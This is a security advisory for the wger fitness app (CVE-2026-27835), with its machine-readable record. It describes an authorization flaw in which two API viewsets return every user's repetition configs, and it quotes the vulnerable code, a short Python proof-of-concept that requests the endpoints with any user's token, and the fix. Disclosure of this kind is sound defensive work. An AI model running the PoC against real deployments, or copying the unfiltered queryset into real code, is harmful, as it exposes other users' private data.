GHSA-XF68-8HJW-7MPM
Vulnerability from github – Published: 2026-02-26 22:13 – Updated: 2026-02-26 22:13Summary
RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.
Details
wger/manager/api/views.py:499 and :518:
# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
def get_queryset(self):
return RepetitionsConfig.objects.all()
class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
def get_queryset(self):
return MaxRepetitionsConfig.objects.all()
Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:
# CORRECT — how it should work
def get_queryset(self):
return WeightConfig.objects.filter(
slot_entry__slot__day__routine__user=self.request.user
)
The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.
PoC
import requests
BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"} # any registered user
r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json()) # returns ALL users' repetition configs, not just your own
r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json()) # same — all users' max repetition configs
Registration is open by default. Sequential IDs allow full enumeration.
Impact
Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.
Fix: Add the same user filter used by every other config viewset:
def get_queryset(self):
return RepetitionsConfig.objects.filter(
slot_entry__slot__day__routine__user=self.request.user
)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27835"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:13:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`RepetitionsConfigViewSet` and `MaxRepetitionsConfigViewSet` return all users\u0027 repetition config data because their `get_queryset()` calls `.all()` instead of filtering by the authenticated user. Any registered user can enumerate every other user\u0027s workout structure.\n\n### Details\n\n`wger/manager/api/views.py:499` and `:518`:\n\n```python\n# VULNERABLE\nclass RepetitionsConfigViewSet(viewsets.ModelViewSet):\n def get_queryset(self):\n return RepetitionsConfig.objects.all()\n\nclass MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):\n def get_queryset(self):\n return MaxRepetitionsConfig.objects.all()\n```\n\nEvery sibling viewset in the same file correctly filters by user. For example, `WeightConfigViewSet` at line 459:\n\n```python\n# CORRECT \u2014 how it should work\ndef get_queryset(self):\n return WeightConfig.objects.filter(\n slot_entry__slot__day__routine__user=self.request.user\n )\n```\n\nThe same user filter is present on `SetsConfig`, `RestConfig`, `RiRConfig`, and their Max variants \u2014 only `RepetitionsConfig` and `MaxRepetitionsConfig` are missing it.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\nheaders = {\"Authorization\": \"Token YOUR_TOKEN\"} # any registered user\n\nr = requests.get(f\"{BASE}/api/v2/repetitions-config/\", headers=headers)\nprint(r.json()) # returns ALL users\u0027 repetition configs, not just your own\n\nr = requests.get(f\"{BASE}/api/v2/max-repetitions-config/\", headers=headers)\nprint(r.json()) # same \u2014 all users\u0027 max repetition configs\n```\n\nRegistration is open by default. Sequential IDs allow full enumeration.\n\n### Impact\n\nAny authenticated user can read other users\u0027 repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability \u2014 the same class of issue as OWASP API1.\n\n**Fix**: Add the same user filter used by every other config viewset:\n```python\ndef get_queryset(self):\n return RepetitionsConfig.objects.filter(\n slot_entry__slot__day__routine__user=self.request.user\n )\n```",
"id": "GHSA-xf68-8hjw-7mpm",
"modified": "2026-02-26T22:13:13Z",
"published": "2026-02-26T22:13:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-xf68-8hjw-7mpm"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users\u0027 workout data"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.